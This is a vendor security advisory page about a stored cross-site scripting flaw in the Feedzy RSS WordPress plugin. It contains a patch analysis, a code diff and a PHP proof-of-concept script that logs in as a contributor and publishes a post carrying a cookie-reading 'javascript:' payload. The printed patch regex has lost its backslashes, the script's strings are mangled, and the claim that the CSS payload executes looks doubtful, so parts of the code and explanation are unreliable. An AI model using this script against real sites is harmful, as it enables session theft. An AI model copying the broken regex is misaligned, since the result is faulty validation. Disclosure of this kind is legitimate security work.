Published : July 1, 2026

CVE-2026-13252: RSS Aggregator by Feedzy <= 5.2.1 Authenticated (Contributor+) Stored Cross-Site Scripting via 'aspectRatio' Attribute PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 5.2.1
Patched Version 5.2.2
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13252:

This vulnerability is a Stored Cross-Site Scripting (XSS) in the RSS Aggregator by Feedzy plugin for WordPress, affecting versions up to and including 5.2.1. The vulnerability exists in the feedzy-rss-feeds/includes/abstract/feedzy-rss-feeds-admin-abstract.php file, specifically within the thumbnail generation functions. Authenticated users with contributor-level access or higher can inject arbitrary web scripts via the ‘aspectRatio’ shortcode attribute, which is stored and executed when other users view the affected page.

Root Cause: The plugin fails to sanitize the ‘aspectRatio’ attribute retrieved from shortcode attributes ($sc[‘aspectRatio’]). In two separate code blocks (around lines 1692-1750 and 1872-1920), the raw value is directly concatenated into an inline CSS style string without any validation or escaping. The vulnerable code at line 1695 allowed ‘aspect-ratio:’ . $sc[‘aspectRatio’] . ‘;’ to be appended to the $img_style variable, which was then output directly into an HTML img tag’s style attribute without escaping via esc_attr(). Similarly, the thumbnail URL was not escaped with esc_url().

Exploitation: An attacker with contributor access or higher can craft a shortcode containing a malicious ‘aspectRatio’ attribute. The attack vector is typically through the WordPress post/page editor where shortcodes like [feedzy-rss feeds=”…” aspectRatio=”javascript:alert(1)”] can be inserted. When a user visits the page, the unsanitized attribute value is injected into the style attribute of an HTML img tag, allowing arbitrary JavaScript execution in the context of the victim’s browser session.

Patch Analysis: The patch introduces input validation for the ‘aspectRatio’ attribute using a strict regex pattern: preg_match(‘~^(auto|d+(?:.d+)?(?:s*/s*d+(?:.d+)?)?)$~’, $raw_ratio). This only allows values of ‘auto’, numeric integers or decimals (optionally with a ratio like ’16/9′), or numeric strings like ’16/10′. Furthermore, the output is now properly escaped using esc_attr() for the style attribute and esc_url() for the thumbnail URL, ensuring any injected HTML or script tags are neutralized.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who visits a page containing the malicious shortcode. This can lead to session hijacking, cookie theft, redirection to malicious sites, defacement, or unauthorized actions being performed as the victim user, including potential privilege escalation if an administrator views the infected page.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/feedzy-rss-feeds/feedzy-rss-feed.php
+++ b/feedzy-rss-feeds/feedzy-rss-feed.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Feedzy RSS Feeds Lite
  * Plugin URI:        https://themeisle.com/plugins/feedzy-rss-feeds/
  * Description:       A small and lightweight RSS aggregator plugin. Fast and very easy to use, it allows you to aggregate multiple RSS feeds into your WordPress site through fully customizable shortcodes & widgets.
- * Version:           5.2.1
+ * Version:           5.2.2
  * Author:            Themeisle
  * Author URI:        http://themeisle.com
  * License:           GPL-2.0+
--- a/feedzy-rss-feeds/includes/abstract/feedzy-rss-feeds-admin-abstract.php
+++ b/feedzy-rss-feeds/includes/abstract/feedzy-rss-feeds-admin-abstract.php
@@ -1692,31 +1692,37 @@
 		if ( ! empty( $thumbnail_to_use ) && is_string( $thumbnail_to_use ) ) {
 			$img_style = '';

-			if ( isset( $sizes['height'] ) && is_numeric( $sizes['height'] ) ) {
-				$img_style .= 'height:' . $sizes['height'] . 'px;';
+			$safe_height     = ( isset( $sizes['height'] ) && is_numeric( $sizes['height'] ) && (int) $sizes['height'] > 0 ) ? (int) $sizes['height'] : 0;
+			$safe_width      = ( isset( $sizes['width'] ) && is_numeric( $sizes['width'] ) && (int) $sizes['width'] > 0 ) ? (int) $sizes['width'] : 0;
+			$raw_ratio       = isset( $sc['aspectRatio'] ) ? (string) $sc['aspectRatio'] : '';
+			$safe_ratio      = ( '' !== $raw_ratio && preg_match( '~^(auto|d+(?:.d+)?(?:s*/s*d+(?:.d+)?)?)$~', $raw_ratio ) ) ? $raw_ratio : '';
+			$has_valid_ratio = ( '' !== $safe_ratio && '1' !== $safe_ratio );
+
+			if ( $safe_height > 0 ) {
+				$img_style .= 'height:' . $safe_height . 'px;';
 			}

-			if ( isset( $sc['aspectRatio'] ) && '1' !== $sc['aspectRatio'] ) {
-				$img_style .= 'aspect-ratio:' . $sc['aspectRatio'] . '; object-fit: fill;';
+			if ( $has_valid_ratio ) {
+				$img_style .= 'aspect-ratio:' . $safe_ratio . '; object-fit: fill;';
 			}
-
+
 			if (
-				isset( $sizes['width'] ) && is_numeric( $sizes['width'] ) &&
+				$safe_width > 0 &&
 				(
-					$sizes['width'] !== $sizes['height'] || // Note: Custom modification via filters.
+					$safe_width !== $safe_height ||
 					(
-						isset( $sc['aspectRatio'] ) &&
+						'' !== $safe_ratio &&
 						(
-							( 'auto' === $sc['aspectRatio'] && $amp_running ) || // Note: AMP compatibility. Auto without `height` breaks the layout.
-							'1' === $sc['aspectRatio'] // Note: Backward compatiblity.
+							( 'auto' === $safe_ratio && $amp_running ) ||
+							'1' === $safe_ratio // Note: Backward compatiblity.
 						)
 					)
 				)
 			) {
-				$img_style .= 'width:' . $sizes['width'] . 'px;';
+				$img_style .= 'width:' . $safe_width . 'px;';
 			}

-			$content_thumb .= '<img decoding="async" src="' . $thumbnail_to_use . '" title="' . esc_attr( $item->get_title() ) . '" style="' . $img_style . '">';
+			$content_thumb .= '<img decoding="async" src="' . esc_url( $thumbnail_to_use ) . '" title="' . esc_attr( $item->get_title() ) . '" style="' . esc_attr( $img_style ) . '">';
 			$content_thumb  = apply_filters( 'feedzy_thumb_output', $content_thumb, $feed_url, $sizes, $item );
 		}

@@ -1872,13 +1878,17 @@
 			$item_content = esc_html__( 'Post Content', 'feedzy-rss-feeds' );
 		}

-		$img_style = '';
-		if ( isset( $sizes['height'] ) ) {
-			$img_style = 'height:' . $sizes['height'] . 'px;';
-			if ( isset( $sc['aspectRatio'] ) && '1' !== $sc['aspectRatio'] ) {
-				$img_style .= 'aspect-ratio:' . $sc['aspectRatio'] . ';';
-			} elseif ( isset( $sizes['width'] ) ) {
-				$img_style .= 'width:' . $sizes['width'] . 'px;';
+		$img_style       = '';
+		$safe_height_val = ( isset( $sizes['height'] ) && is_numeric( $sizes['height'] ) && (int) $sizes['height'] > 0 ) ? (int) $sizes['height'] : 0;
+		$safe_width_val  = ( isset( $sizes['width'] ) && is_numeric( $sizes['width'] ) && (int) $sizes['width'] > 0 ) ? (int) $sizes['width'] : 0;
+		$raw_ratio_val   = isset( $sc['aspectRatio'] ) ? (string) $sc['aspectRatio'] : '';
+		$safe_ratio_val  = ( '' !== $raw_ratio_val && preg_match( '~^(auto|d+(?:.d+)?(?:s*/s*d+(?:.d+)?)?)$~', $raw_ratio_val ) ) ? $raw_ratio_val : '';
+		if ( $safe_height_val > 0 ) {
+			$img_style = 'height:' . $safe_height_val . 'px;';
+			if ( '' !== $safe_ratio_val && '1' !== $safe_ratio_val ) {
+				$img_style .= 'aspect-ratio:' . $safe_ratio_val . ';';
+			} elseif ( $safe_width_val > 0 ) {
+				$img_style .= 'width:' . $safe_width_val . 'px;';
 			}
 		}

--- a/feedzy-rss-feeds/includes/feedzy-rss-feeds.php
+++ b/feedzy-rss-feeds/includes/feedzy-rss-feeds.php
@@ -104,7 +104,7 @@
 	 */
 	public function init() {
 		self::$plugin_name = 'feedzy-rss-feeds';
-		self::$version     = '5.2.1';
+		self::$version     = '5.2.2';
 		self::$instance->load_dependencies();
 		self::$instance->define_admin_hooks();
 	}
--- a/feedzy-rss-feeds/vendor/composer/installed.php
+++ b/feedzy-rss-feeds/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'codeinwp/feedzy-rss-feeds',
-        'pretty_version' => 'v5.2.1',
-        'version' => '5.2.1.0',
-        'reference' => '9f4cc75c51c46df3bccfd2906089d17d5d6ccc71',
+        'pretty_version' => 'v5.2.2',
+        'version' => '5.2.2.0',
+        'reference' => '687a9ce55f353abe8c69e290207a86722eda9c78',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'codeinwp/feedzy-rss-feeds' => array(
-            'pretty_version' => 'v5.2.1',
-            'version' => '5.2.1.0',
-            'reference' => '9f4cc75c51c46df3bccfd2906089d17d5d6ccc71',
+            'pretty_version' => 'v5.2.2',
+            'version' => '5.2.2.0',
+            'reference' => '687a9ce55f353abe8c69e290207a86722eda9c78',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13252 - RSS Aggregator by Feedzy <= 5.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'aspectRatio' Attribute

$target_url = 'http://example.com';  // Change to the target WordPress site URL
$username = 'contributor';            // Change to a valid contributor username
$password = 'password';               // Change to the user's password

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_post = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Create a new post with the malicious shortcode
$post_url = $target_url . '/wp-admin/post-new.php';
$post_data = array(
    'post_title' => 'Test XSS - CVE-2026-13252',
    'content' => '[feedzy-rss feeds="https://example.com/feed" aspectRatio="javascript:alert(document.cookie)"]',
    'post_status' => 'publish',
    'post_type' => 'post'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    echo "[+] Post created successfully. Visit the site to trigger XSS.n";
} else {
    echo "[-] Failed to create post. Check credentials or target URL.n";
}

// Clean up cookie file
unlink('/tmp/cookies.txt');

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.